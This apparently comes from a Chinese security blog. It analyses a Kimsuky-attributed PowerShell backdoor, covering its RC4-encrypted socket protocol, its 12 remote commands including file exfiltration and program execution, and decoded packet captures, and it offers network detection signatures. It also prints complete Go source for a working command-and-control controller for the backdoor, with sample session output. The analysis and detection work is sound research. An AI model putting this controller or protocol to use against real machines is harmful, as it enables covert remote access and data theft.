推陈出新!Kimsuky组织最新远控组件攻击场景复现

概述

近期,笔者在浏览网络中威胁情报信息的时候,发现twitter上有人发布了一篇推文,推文的大概意思是推文作者获得了Kimsuky组织使用的PowerShell后门,同时推文作者还赋了一张截图,截图上展示了PowerShell后门的控制端程序的GUI界面。

笔者之前也跟踪过Kimsuky组织,对其所使用的攻击组件有过一些研究,不过此次却是笔者第一次见到其使用PowerShell后门作为最终远控木马端,因此,笔者准备对该PowerShell后门进行详细的深度剖析:

  • 功能分析:发现其使用socket套接字进行网络通信,通信加密算法为RC4,支持12个远控功能指令;
  • 通信模型分析:结合后门通信数据包对其通信模型进行详细的对比分析;
  • 逆向开发控制端:模拟构建PowerShell后门控制端,可有效还原攻击利用场景;

相关截图如下:

PowerShell后门分析

外联上线

通过分析,发现此PowerShell后门运行后,即会根据配置的外联地址发起socket套接字上线通信,默认配置信息为127.0.0.1:8888。

相关代码截图如下:

通信密钥交互

通过分析,发现此PowerShell后门将使用RC4对称加密算法对通信数据进行加解密,即当建立socket套接字连接后,该后门将把RC4密钥信息发送至控制端,发送RC4密钥的大致流程如下:

  • 使用MD5算法对Mac地址与IP地址拼接的字符串进行Hash运行;
  • 使用socket套接字发送MD5字符串;
  • RC4算法密钥信息
    • SendKey:MD5值+"_r"
    • RecvKey:MD5值+"_s"

相关代码截图如下:

RC4加密通信

通过将此PowerShell后门的RC4加密算法与Golang语言的"crypto/rc4"库中的RC4算法进行对比,发现:

  • 此PowerShell后门的PrePare_Key函数即为Golang语言"crypto/rc4"库中func NewCipher(key []byte) (*Cipher, error) 函数;
  • 此PowerShell后门的Rc4_Crypt函数即为Golang语言"crypto/rc4"库中func (c *Cipher) XORKeyStream(dst, src []byte)函数;

PowerShell后门RC4算法代码截图如下:

Golang语言的"crypto/rc4"库中的RC4算法代码截图如下:

远控功能

通过分析,发现此PowerShell后门支持12个远控指令,梳理远控指令列表如下:

远控指令对应功能函数描述
OP_REQ_DRIVE_LISTProcessDriveList获取磁盘信息
OP_REQ_PATH_LISTProcessPathList获取指定目录文件列表
OP_REQ_PATH_DELETEProcessPathDelete删除文件
OP_REQ_EXECUTEProcessPathExecute启动程序
OP_REQ_CREATE_ZIPProcessPathZip将目录打包成zip文件
OP_REQ_PATH_RENAMEProcessPathRename重命名文件
OP_REQ_CREATE_DIRProcessCreateDir创建目录
OP_REQ_PATH_DOWNLOADProcessPathDownload将指定文件或目录通过POST请求发送至指定C&C
OP_REQ_CLOSE关闭socket连接
OP_REQ_REMOVE关闭socket连接
OP_REQ_RESTART关闭socket连接并重连
OP_REQ_FILE_UPLOAD上传文件

相关代码截图如下:

ProcessPathList

通过分析,发现当PowerShell后门接收到OP_REQ_PATH_LIST指令后,将从接收指令中提取信息,并返回指定目录中的文件列表信息,大致流程如下:

  • 从接收指令中提取信息:4字节DirPathLen、DirPath
  • 返回信息结构如下:
    • RecvData:控制端发送的远控指令载荷内容
    • 4字节Count:获取DirPath目录中的文件及目录的数量
    • InfoLen:目录或文件信息的长度
    • ByInfo:以";"分割相关信息
      • ByInfo目录信息:"0"、目录名、""、目录修改时间
      • ByInfo文件信息:"1"、文件名、文件长度、文件修改时间

相关代码截图如下:

ProcessPathExecute

通过分析,发现当PowerShell后门接收到OP_REQ_EXECUTE指令后,将从接收指令中提取信息,并启动程序,大致流程如下:

  • 从接收指令中提取信息:4字节PathLen、Path、4字节IsDir
  • 调用Invoke-Expression命令启动程序

相关代码截图如下:

ProcessPathDownload

通过分析,发现当PowerShell后门接收到OP_REQ_PATH_DOWNLOAD指令后,将从接收指令中提取信息,把指定文件或目录通过POST请求发送至指定C&C处,大致流程如下:

  • 从接收指令中提取信息:4字节PathLen、Path、4字节IsDir、4字节UrlLen、Url
  • 若IsDir值为真,则将Path路径下文件打包成zip文件
  • 读取待下载文件的载荷,并将其base64编码
  • 使用POST请求将载荷内容发送至“Url/show.php”链接处(Url值为接收指令中提取的信息)

相关代码截图如下:

PowerShell后门通信模型分析

为了能够更全面的对Kimsuky组织使用的PowerShell后门技术进行剖析,笔者准备在样本分析的基础上,再同时对其通信模型进行详细的剖析,并根据其通信模型特点,梳理提取可针对于Kimsuky组织PowerShell后门的网络流量检测方法。

攻击场景还原

为了能够更好的还原Kimsuky组织PowerShell后门的攻击场景,笔者尝试模拟构建了一款Kimsuky组织PowerShell后门控制端程序,目前可有效的与PowerShell后门进行交互,相关运行效果如下:

相关通信数据包截图如下:

相关操作流程如下:

Server started. Listening on 0.0.0.0:8888
nOpCode:0x0401
nUniqueIdLen:5FD47DF267932964A5B9340E55416BA1
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>help
********支持功能如下********
OP_REQ_CLOSE:关闭连接
OP_REQ_DRIVE_LIST:查看磁盘信息
OP_REQ_PATH_LIST:查看目录
**************************
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>OP_REQ_DRIVE_LIST
nOpCode:0xOP_RES_DRIVE_LIST
DriveCount:1
InfoLen:21
DisplayName:C:\()[Fixed,NTFS]
RootDirectory:C:\
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>OP_REQ_PATH_LIST
nOpCode:0xOP_RES_PATH_LIST
Command Dir:C:\Users\admin\AppData\Local\Temp
Count:59
Dir     Low             11/27/2023 14:18:39
Dir     vmware-admin            12/28/2016 11:23:04
Dir     WPDNSE          11/27/2023 14:57:17
File    admin.bmp       49208   12/28/2016 10:38:29
File    ASPNETSetup_00000.log   4128    01/25/2024 09:15:13
File    ASPNETSetup_00001.log   2966    01/25/2024 09:15:15
File    dd_NDP462-KB3151800-x86-x64-AllOS-ENU_decompression_log.txt     1145    01/25/2024 09:17:33
File    dd_SetupUtility.txt     1702    01/25/2024 09:16:13
File    dd_vcredistMSI3DE8.txt  413058  12/28/2016 10:38:48
File    dd_vcredistMSI3E33.txt  422262  12/28/2016 10:39:00
File    dd_vcredistUI3DE8.txt   11634   12/28/2016 10:38:48
File    dd_vcredistUI3E33.txt   11698   12/28/2016 10:39:00
File    dd_vcredist_amd64_20231127134511.log    17423   11/27/2023 13:45:14
File    dd_vcredist_amd64_20231127134511_000_vcRuntimeMinimum_x64.log   124164  11/27/2023 13:45:14
File    dd_vcredist_amd64_20231127134511_001_vcRuntimeAdditional_x64.log        130754  11/27/2023 13:45:14
File    dd_vcredist_amd64_20231127135758.log    12954   11/27/2023 13:58:00
File    dd_vcredist_amd64_20231127142907.log    12954   11/27/2023 14:29:10
File    dd_vcredist_x86_20231127134400.log      17440   11/27/2023 13:45:11
File    dd_vcredist_x86_20231127134400_001_vcRuntimeMinimum_x86.log     124342  11/27/2023 13:45:10
File    dd_vcredist_x86_20231127134400_002_vcRuntimeAdditional_x86.log  136626  11/27/2023 13:45:11
File    dd_vcredist_x86_20231127135754.log      12145   11/27/2023 13:57:58
File    dd_vcredist_x86_20231127142902.log      12145   11/27/2023 14:29:07
File    dd_wcf_CA_smci_20240125_011505_902.txt  7166    01/25/2024 09:15:07
File    dd_wcf_CA_smci_20240125_011507_384.txt  2694    01/25/2024 09:15:07
File    DMI15E0.tmp     0       11/27/2023 13:49:00
File    DMI1777.tmp     0       11/27/2023 13:49:01
File    DMI1F3.tmp      0       11/27/2023 14:10:01
File    DMI35B.tmp      0       11/27/2023 14:10:01
File    DMI4D2.tmp      0       11/27/2023 14:10:01
File    DMI5D.tmp       0       11/27/2023 14:16:33
File    DMIC31F.tmp     0       11/27/2023 14:16:18
File    FXSAPIDebugLogFile.txt  0       12/28/2016 10:39:06
File    Microsoft .NET Framework 4.6.2 Setup_20240125_091143716-MSI_netfx_Full_x64.msi.txt      10773126        01/25/2024 09:16:13
File    Microsoft .NET Framework 4.6.2 Setup_20240125_091143716.html    757334  01/25/2024 09:16:14
File    Python 3.11.3 (64-bit)_20231127145147.log       11342   11/27/2023 14:51:53
File    Python 3.7.4 (64-bit)_20231127145205.log        76307   11/27/2023 14:52:32
File    Python 3.7.4 (64-bit)_20231127145205_000_core_JustForMe.log     86202   11/27/2023 14:52:16
File    Python 3.7.4 (64-bit)_20231127145205_001_dev_JustForMe.log      307366  11/27/2023 14:52:16
File    Python 3.7.4 (64-bit)_20231127145205_002_exe_JustForMe.log      113564  11/27/2023 14:52:17
File    Python 3.7.4 (64-bit)_20231127145205_003_lib_JustForMe.log      1927106 11/27/2023 14:52:19
File    Python 3.7.4 (64-bit)_20231127145205_004_test_JustForMe.log     2525184 11/27/2023 14:52:22
File    Python 3.7.4 (64-bit)_20231127145205_005_doc_JustForMe.log      95712   11/27/2023 14:52:23
File    Python 3.7.4 (64-bit)_20231127145205_006_tools_JustForMe.log    314582  11/27/2023 14:52:23
File    Python 3.7.4 (64-bit)_20231127145205_007_tcltk_JustForMe.log    3176288 11/27/2023 14:52:27
File    Python 3.7.4 (64-bit)_20231127145205_008_launcher_AllUsers.log  105518  11/27/2023 14:52:27
File    Python 3.7.4 (64-bit)_20231127145205_009_pip_JustForMe.log      84778   11/27/2023 14:52:31
File    RGI951F.tmp     10434   01/25/2024 09:15:10
File    RGI951F.tmp-tmp 9000    01/25/2024 09:15:10
File    storePwd.exe    71872   12/28/2016 10:10:18
File    storePwd.ini    24      12/28/2016 10:10:18
File    StructuredQuery.log     46323   11/27/2023 14:25:00
File    unattend.cmd    555     12/28/2016 10:10:18
File    upgrader.exe    599232  12/28/2016 10:10:18
File    vminst.log      2516836 11/27/2023 14:31:10
File    vmmsi.log_20161228_104115.log   3112056 12/28/2016 10:41:15
File    vmmsi.log_20231127_135240_Failed.log    5020132 11/27/2023 13:52:40
File    vmmsi.log_20231127_141057_Failed.log    3292586 11/27/2023 14:10:57
File    vmmsi.log_20231127_143110.log   3178564 11/27/2023 14:31:10
File    wmsetup.log     1869    11/27/2023 14:27:32
请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST
>OP_REQ_CLOSE

通信模型剖析

梳理Kimsuky组织PowerShell后门通信模型如下:

  • 通信密钥交互
#********第一段通信数据    木马端 > 控制端
010424000000200000003546443437444632363739333239363441354239333430453535343136424131
#数据包解析
0104    #_OP_CODE   =0x401==OP_UNIQ_ID
24000000    #载荷数据长度 =0x24
20000000    #nUniqueIdLen数据长度   =0x20
#对应字符串:5FD47DF267932964A5B9340E55416BA1 MD5值,将用作RC4密钥
3546443437444632363739333239363441354239333430453535343136424131
  • OP_REQ_DRIVE_LIST:查看磁盘信息
#********控制端    >   木马端
0600000039882655d01d067e859b
#1.数据包解析
06000000    #载荷数据长度 =0x06
39882655d01d067e859b    #RC4加密载荷数据
#2.RC4解密    解密密钥:5FD47DF267932964A5B9340E55416BA1_s
02040400000011111111
#3.载荷解析
0204        #_OP_CODE   =0x402==OP_REQ_DRIVE_LIST
04000000    #载荷数据长度 =0x04
11111111    #笔者编写代码时随机填充的无效数据

#********木马端    >   控制端
2300000044ca569d2ec0ffb7a6ae4b90d224c4fd429a28f64d540caa1425161fda0c3ac2584a12
#1.数据包解析
23000000    #载荷数据长度 =0x23
#RC4加密载荷数据
44ca569d2ec0ffb7a6ae4b90d224c4fd429a28f64d540caa1425161fda0c3ac2584a12
#2.RC4解密    解密密钥:5FD47DF267932964A5B9340E55416BA1_r
03041d0000000100000015000000433a5c28295b46697865642c4e5446535d3b433a5c
#3.载荷解析
0304        #_OP_CODE   =0x403==OP_RES_DRIVE_LIST
1d000000    #载荷数据长度 =0x1d
01000000    #DriveCount,磁盘数量
15000000    #InfoLen,磁盘信息长度
#对应字符串:C:\()[Fixed,NTFS];C:\
433a5c28295b46697865642c4e5446535d3b433a5c
#4.磁盘信息解析   以;分割
C:\()[Fixed,NTFS]   #DisplayName
C:\                 #RootDirectory
  • OP_REQ_PATH_LIST:获取指定目录文件列表
#********控制端    >   木马端
2700000008ea9e282c214b0a0f180312fae8293185629e4ae2713272303f8f73be7dcc0cb13279e2333142c89d41ef
#数据包解析
27000000    #载荷数据长度 =0x27
#RC4加密载荷数据
08ea9e282c214b0a0f180312fae8293185629e4ae2713272303f8f73be7dcc0cb13279e2333142c89d41ef
#2.RC4解密    解密密钥:5FD47DF267932964A5B9340E55416BA1_s
04042500000021000000433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d70
#3.载荷解析
0404        #_OP_CODE   =0x404==OP_REQ_PATH_LIST
25000000    #载荷数据长度 =0x25
21000000    #载荷数据长度 =0x21
#对应字符串:C:\Users\admin\AppData\Local\Temp
433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d70

#********木马端    >   控制端
f50e00002103e6faacb4d1f2834bf5ba895f971dcfa23f9e91fd4b9745eb2bc63...省略7566字节数据...6023ffddc8a702c0cad037354265b3e272a
#数据包解析
f50e0000    #载荷数据长度 =0xef5
#RC4加密载荷数据
f50e00002103e6faacb4d1f2834bf5ba895f971dcfa23f9e91fd4b9745eb2bc634fcbf0f3c7a01c5c48af2195e43bee07e4cce20f2f1a9823a1e5de47de516d0442165e02f4495b34bc62a559da41eb8db7d1eed6ed8bbed418cd8b6c8e022d00997b132af5843c131ec58ab6b2acc6fb6278b2bd2bf8d66bb307ac49e28d8b36ab99d5164709e421dc8262df2c5529787e4d27dbd0c459dc7f6734044166fb16e44b705509dfad6a81db120caba3055a551e6f2c3245a413427bf6c7c2acf364517959a5cb576dd0a4ac3ab47f29bb0671a3622b362ce45f32a8dfaf000d3798911731809356e08c2aa1adb600102af57e722c1dd85cf03f738117278525bc1f4bb7f7fb289aa416f8bd40291571c79f5839307b04e044d9d8266ca1a67b91aa6f48dddeb8c852ed0e807122d68a8fd50e021d9e0708dab9918a3266b49ec9a42e4066864b8382697c6fd69d739edaba6f1c36dcd8fb...省略6900字节...6232a687f361e851fb0ff4ccdd8abe12aaac2d01b08aac6023ffddc8a702c0cad037354265b3e272a
#2.RC4解密    解密密钥:5FD47DF267932964A5B9340E55416BA1_r
0504ef0e000021000000433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d703b0000001a000000303b4c6f773b3b31312f32372f323032332031343a31383a333923000000303b766d776172652d61646d696e3b3b31322f32382f323031362031313a32333a30341d000000303b5750444e53453b3b31312f32372f323032332031343a35373a313725000000313b61646d696e2e626d703b34393230383b31322f32382f323031362031303a33383a323930000000313b4153504e455453657475705f30303030302e6c6f673b343132383b30312f32352f323032342030393a31353a313330000000313b4153504e455...省略7100字节...6393b31312f32372f323032332031343a32373a333200000000
#3.载荷解析
0504        #_OP_CODE   =0x405==OP_RES_PATH_LIST
ef0e0000    #载荷数据长度 =0xeef
#控制端向木马端发送的远控指令数据
21000000433a5c55736572735c61646d696e5c417070446174615c4c6f63616c5c54656d70
3b000000    #Count,文件数量     =0x3b==59
#循环解析后续载荷数据,共有59段数据
1a000000    #目录或文件信息长度
#对应字符串:0;Low;;11/27/2023 14:18:39
303b4c6f773b3b31312f32372f323032332031343a31383a3339
#目录或文件信息,以;分割
0       #0代表目录
Low     #目录或文件名
11/27/2023 14:18:39     #目录或文件修改时间

相关载荷截图如下:

  • 心跳通信
#********木马端    >   控制端
00

相关通信数据包截图如下:

相关代码截图如下:

通信流量检测方法

结合通信模型提取通信流量检测方法,检测特征如下:

  • 第一段通信数据的长度固定为42字节
  • 第一段通信数据的前10字节固定为:01042400000020000000
  • 存在心跳通信数据包,且心跳通信数据为00
  • 由于远控指令交互数据通信数据结构为:4字节载荷数据长度+载荷数据,因此可通过载荷数据长度对其远控指令交互数据通信进行识别检测

逆向开发PowerShell后门控制端

在逆向开发PowerShell后门控制端时,整体还是比较顺利,只是有一点可能容易忽略,就是笔者发现PowerShell后门通信数据中的载荷长度字节与PowerShell后门代码中的载荷长度字节的字节序不一样。

代码实现

在这里,笔者将使用golang语言模拟构建Kimsuky组织PowerShell后门控制端,详细情况如下:

代码结构如下:

  • main.go
package main

import (
    "awesomeProject5/command"
    "awesomeProject5/common"
    "bufio"
    "crypto/rc4"
    "encoding/hex"
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    address := "0.0.0.0"
    port := "8888"

    // 创建监听器
    listener, err := net.Listen("tcp", address+":"+port)
    if err != nil {
        fmt.Println("Error listening:", err.Error())
        return
    }
    defer listener.Close()

    fmt.Println("Server started. Listening on " + address + ":" + port)

    for {
        conn, err := listener.Accept()
        if err != nil {
            fmt.Println("Error accepting connection:", err.Error())
            return
        }

        // 处理服务端连接
        go handle_Kimsuky_powershell_Connection(conn)
    }
}

func handle_Kimsuky_powershell_Connection(conn net.Conn) {
    defer conn.Close()

    firstbuf := common.RecvData(conn, 42)
    nOpCode, Data := common.DecodeData(firstbuf, false, nil)

    nUniqueIdLen := []byte{}
    nUniqueIdLen = append(nUniqueIdLen, Data[:4]...)
    common.Reversedata(&nUniqueIdLen)

    ByUniqueId := []byte{}
    ByUniqueId = append(ByUniqueId, Data[4:]...)

    fmt.Println("nOpCode:0x" + hex.EncodeToString(nOpCode))
    fmt.Println("nUniqueIdLen:" + string(ByUniqueId))

    SendKeyData := string(ByUniqueId) + "_r"
    RecvKeyData := string(ByUniqueId) + "_s"

    Global_SendKey, _ := rc4.NewCipher([]byte(SendKeyData))
    Global_RecvKey, _ := rc4.NewCipher([]byte(RecvKeyData))

    encdata := make(chan []byte)
    go keepaliveAndRecvHeader(conn, encdata)
    for {

        text := ""
        fmt.Print("请选择需执行的功能:help、OP_REQ_CLOSE、OP_REQ_DRIVE_LIST、OP_REQ_PATH_LIST\n>")
        reader := bufio.NewScanner(os.Stdin)
        if reader.Scan() {
            text = reader.Text()
            if text == "OP_REQ_CLOSE" {
                common.SendBuf(conn, Global_RecvKey, 0x411, []byte{0x11, 0x11, 0x11, 0x11})
                time.Sleep(1 * time.Second)
                os.Exit(1)
            } else if text == "OP_REQ_DRIVE_LIST" {
                common.SendBuf(conn, Global_RecvKey, 0x402, []byte{0x11, 0x11, 0x11, 0x11})
                EncData := <-encdata
                nOpCode, Data = common.DecodeData(EncData, true, Global_SendKey)
                fmt.Println("nOpCode:0x" + common.Enum_OP_CODE(hex.EncodeToString(nOpCode)))
                command.ProcessDriveList(Data)
            } else if text == "OP_REQ_PATH_LIST" {
                buf := []byte("C:\\Users\\admin\\AppData\\Local\\Temp")
                buflen := common.IntToBytes(len(buf))
                common.Reversedata(&buflen)
                common.SendBuf(conn, Global_RecvKey, 0x404, append(buflen, buf...))
                EncData := <-encdata
                //fmt.Println(hex.EncodeToString(EncData))
                nOpCode, Data = common.DecodeData(EncData, true, Global_SendKey)
                fmt.Println("nOpCode:0x" + common.Enum_OP_CODE(hex.EncodeToString(nOpCode)))
                command.ProcessPathList(Data)
            } else if text == "help" {
                fmt.Println("********支持功能如下********")
                fmt.Println("OP_REQ_CLOSE:关闭连接")
                fmt.Println("OP_REQ_DRIVE_LIST:查看磁盘信息")
                fmt.Println("OP_REQ_PATH_LIST:查看目录")
                fmt.Println("**************************")
            }
        }
        if err := reader.Err(); err != nil {
            fmt.Fprintln(os.Stderr, "读取标准输入时发生错误:", err)
            os.Exit(1)
        }
    }
}

func keepaliveAndRecvHeader(conn net.Conn, encdata chan []byte) {
    EncDataLen := []byte{}
    for {
        EncDataLen = common.RecvHeader(conn)
        common.Reversedata(&EncDataLen)
        if len(EncDataLen) > 0 && common.BytesToInt(EncDataLen) > 0 {
            Data := common.RecvData(conn, common.BytesToInt(EncDataLen))
            for {
                if len(Data) >= common.BytesToInt(EncDataLen) {
                    break
                } else {
                    data := common.RecvData(conn, common.BytesToInt(EncDataLen)-len(Data))
                    Data = append(Data, data...)
                }
            }
            encdata <- Data
        }
    }
}
  • common.go
package common

import (
    "bytes"
    "crypto/rc4"
    "encoding/binary"
    "fmt"
    "net"
)

func Reversedata(arr *[]byte) {
    var temp byte
    length := len(*arr)
    for i := 0; i < length/2; i++ {
        temp = (*arr)[i]
        (*arr)[i] = (*arr)[length-1-i]
        (*arr)[length-1-i] = temp
    }
}

func BytesToInt(bys []byte) int {
    bytebuff := bytes.NewBuffer(bys)
    var data int32
    binary.Read(bytebuff, binary.BigEndian, &data)
    return int(data)
}

func IntToBytes(n int) []byte {
    data := int32(n)
    bytebuf := bytes.NewBuffer([]byte{})
    binary.Write(bytebuf, binary.BigEndian, data)
    return bytebuf.Bytes()
}

func IntToBytes_mode(n int, b byte) ([]byte, error) {
    switch b {
    case 1:
        tmp := int8(n)
        bytesBuffer := bytes.NewBuffer([]byte{})
        binary.Write(bytesBuffer, binary.BigEndian, &tmp)
        return bytesBuffer.Bytes(), nil
    case 2:
        tmp := int16(n)
        bytesBuffer := bytes.NewBuffer([]byte{})
        binary.Write(bytesBuffer, binary.BigEndian, &tmp)
        return bytesBuffer.Bytes(), nil
    case 3, 4:
        tmp := int32(n)
        bytesBuffer := bytes.NewBuffer([]byte{})
        binary.Write(bytesBuffer, binary.BigEndian, &tmp)
        return bytesBuffer.Bytes(), nil
    }
    return nil, fmt.Errorf("IntToBytes b param is invaild")
}

func RecvHeader(conn net.Conn) []byte {
    buffer := make([]byte, 4)
    bytesRead, err := conn.Read(buffer)
    if err != nil {
        //fmt.Println("Error reading:", err.Error())
    }
    return buffer[:bytesRead]
}

func RecvData(conn net.Conn, buflen int) []byte {
    buffer := make([]byte, buflen)
    bytesRead, err := conn.Read(buffer)
    if err != nil {
        fmt.Println("Error reading:", err.Error())
    }
    return buffer[:bytesRead]
}

func DecodeData(recv_buf []byte, isenc bool, Global_SendKey *rc4.Cipher) ([]byte, []byte) {
    recvbuf := []byte{}
    if isenc {
        enc_recv_buf := make([]byte, len(recv_buf))
        Global_SendKey.XORKeyStream(enc_recv_buf, recv_buf)

        recvbuf = enc_recv_buf
    } else {
        recvbuf = recv_buf
    }

    //2字节
    nOpCode := []byte{}
    nOpCode = append(nOpCode, recvbuf[:2]...)
    Reversedata(&nOpCode)
    //4字节
    nDataLen := []byte{}
    nDataLen = append(nDataLen, recvbuf[2:6]...)
    Reversedata(&nDataLen)

    Data := []byte{}
    Data = append(Data, recvbuf[6:]...)

    if BytesToInt(nDataLen) != len(Data) {
        fmt.Println("RecvBuf Error!")
        return nil, nil
    }
    return nOpCode, Data
}

func SendBuf(conn net.Conn, Global_RecvKey *rc4.Cipher, OpCode int, Data []byte) {
    //第一段加密:EncDataLen(4) + OPCODE(2), DataLen(4)
    //第二段加密:Data(DataLen)
    send_buf := []byte{}
    buf_header := []byte{}

    opcode, _ := IntToBytes_mode(OpCode, byte(2))
    Reversedata(&opcode)

    //EncDataLen
    EncDataLen := IntToBytes(len(opcode) + len(Data))
    Reversedata(&EncDataLen)
    send_buf = append(send_buf, EncDataLen...)
    //OPCODE
    buf_header = append(buf_header, opcode...)
    //DataLen
    Data_len := IntToBytes(len(Data))
    Reversedata(&Data_len)
    buf_header = append(buf_header, Data_len...)
    //加密
    enc_buf_header := make([]byte, len(buf_header))
    Global_RecvKey.XORKeyStream(enc_buf_header, buf_header)
    send_buf = append(send_buf, enc_buf_header...)

    //Data(DataLen)
    enc_Data := make([]byte, len(Data))
    Global_RecvKey.XORKeyStream(enc_Data, Data)
    send_buf = append(send_buf, enc_Data...)

    conn.Write(send_buf)
    //fmt.Println(hex.EncodeToString(send_buf))
}

func Enum_OP_CODE(op_code string) (str_op_code string) {
    switch op_code {
    case "0401":
        str_op_code = "OP_UNIQ_ID"
    case "0402":
        str_op_code = "OP_REQ_DRIVE_LIST"
    case "0403":
        str_op_code = "OP_RES_DRIVE_LIST"
    case "0404":
        str_op_code = "OP_REQ_PATH_LIST"
    case "0405":
        str_op_code = "OP_RES_PATH_LIST"
    case "0406":
        str_op_code = "OP_REQ_PATH_DOWNLOAD"
    case "0407":
        str_op_code = "OP_RES_PATH_DOWNLOAD"
    case "0408":
        str_op_code = "OP_REQ_PATH_DELETE"
    case "0409":
        str_op_code = "OP_RES_PATH_DELETE"
    case "040A":
        str_op_code = "OP_REQ_FILE_UPLOAD"
    case "040B":
        str_op_code = "OP_RES_FILE_UPLOAD"
    case "040C":
        str_op_code = "OP_REQ_PATH_RENAME"
    case "040D":
        str_op_code = "OP_RES_PATH_RENAME"
    case "040E":
        str_op_code = "OP_REQ_CREATE_DIR"
    case "040F":
        str_op_code = "OP_RES_CREATE_DIR"
    case "0410":
        str_op_code = "OP_REQ_RESTART"
    case "0411":
        str_op_code = "OP_REQ_CLOSE"
    case "0412":
        str_op_code = "OP_REQ_REMOVE"
    case "0413":
        str_op_code = "OP_RES_DRIVE_ERROR"
    case "0414":
        str_op_code = "OP_REQ_EXECUTE"
    case "0415":
        str_op_code = "OP_RES_EXECUTE"
    case "0416":
        str_op_code = "OP_REQ_CREATE_ZIP"
    case "0417":
        str_op_code = "OP_RES_CREATE_ZIP"
    default:
        str_op_code = "test"
    }
    return
}
  • command.go
package command

import (
    "awesomeProject5/common"
    "fmt"
    "strconv"
    "strings"
)

func ProcessDriveList(buffer []byte) {
    //DriveCount
    //InfoLen
    //ByInfo = DisplayName;RootDirectory
    //fmt.Println(hex.EncodeToString(buffer))

    DriveCount := []byte{}
    DriveCount = append(DriveCount, buffer[:4]...)
    common.Reversedata(&DriveCount)
    fmt.Println("DriveCount:" + strconv.Itoa(common.BytesToInt(DriveCount)))

    InfoLen := []byte{}
    InfoLen = append(InfoLen, buffer[4:8]...)
    common.Reversedata(&InfoLen)
    fmt.Println("InfoLen:" + strconv.Itoa(common.BytesToInt(InfoLen)))

    ByInfo := []byte{}
    ByInfo = append(ByInfo, buffer[8:]...)
    tmp := strings.Split(string(ByInfo), ";")
    DisplayName := tmp[0]
    RootDirectory := tmp[1]
    fmt.Println("DisplayName:" + DisplayName)
    fmt.Println("RootDirectory:" + RootDirectory)
}

func ProcessPathList(buffer []byte) {
    //RecvData
    //Count
    //InfoLen,ByInfo
    //dir= "0;" + $dir.Name + ";"+";" + $dir.LastWriteTime;
    //file = "1;" + $file.Name + ";" + $file.Length + ";" + $file.LastWriteTime;
    //fmt.Println(hex.EncodeToString(buffer))
    num := 0
    Len_RecvData := []byte{}
    Len_RecvData = append(Len_RecvData, buffer[:4]...)
    common.Reversedata(&Len_RecvData)
    num = num + 4 + common.BytesToInt(Len_RecvData)
    fmt.Println("Command Dir:" + string(buffer[4:4+common.BytesToInt(Len_RecvData)]))

    Count := []byte{}
    Count = append(Count, buffer[num:num+4]...)
    common.Reversedata(&Count)
    num = num + 4
    fmt.Println("Count:" + strconv.Itoa(common.BytesToInt(Count)))

    for {
        if num >= len(buffer) {
            break
        }
        InfoLen := []byte{}
        InfoLen = append(InfoLen, buffer[num:num+4]...)
        common.Reversedata(&InfoLen)
        num = num + 4
        ByInfo := string(buffer[num : num+common.BytesToInt(InfoLen)])
        num = num + common.BytesToInt(InfoLen)
        tmp := strings.Split(ByInfo, ";")
        if tmp[0] == "0" {
            fmt.Println("Dir\t" + tmp[1] + "\t" + tmp[2] + "\t" + tmp[3])
        } else if tmp[0] == "1" {
            fmt.Println("File\t" + tmp[1] + "\t" + tmp[2] + "\t" + tmp[3])
        }
    }
}

点击收藏 | 0关注 | 1打赏

  • 23
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值